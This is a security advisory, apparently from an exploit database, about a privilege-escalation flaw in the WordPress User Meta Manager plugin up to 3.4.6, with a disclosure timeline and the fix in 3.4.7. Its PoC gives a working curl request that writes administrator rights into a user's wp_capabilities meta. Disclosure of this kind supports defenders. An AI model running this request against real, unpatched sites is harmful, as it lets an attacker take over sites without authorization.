* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation] * Discovery Date: 2015/12/28 * Public Disclosure Date: 2016/02/04 * Exploit Author: Panagiotis Vagenas * Contact: https://twitter.com/panVagenas * Vendor Homepage: http://jasonlau.biz/home/ * Software Link: https://wordpress.org/plugins/user-meta-manager/ * Version: 3.4.6 * Tested on: WordPress 4.4.1 * Category: webapps Description ================================================================================ User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege escalation vulnerability. A registered user can modify the meta information of any registered user, including himself. This way he can modify `wp_capabilities` meta to escalate his account to a full privileged administrative account. PoC ================================================================================ ```sh curl -c ${USER_COOKIES} \ -d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\ &umm_meta_key[]=wp_capabilities" \ "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\ &umm_sub_action=umm_update_user_meta&umm_user=${USER_ID}" ``` Timeline ================================================================================ 2015/12/28 - Discovered 2015/12/29 - Vendor notified via support forums in WordPress.org 2015/12/29 - Vendor notified via contact form in his site 2016/01/29 - WordPress security team notified about the issue 2016/02/02 - Vendor released version 3.4.7 2016/02/02 - Verified that this exploit no longer applies in version 3.4.7 Solution ================================================================================ Update to version 3.4.7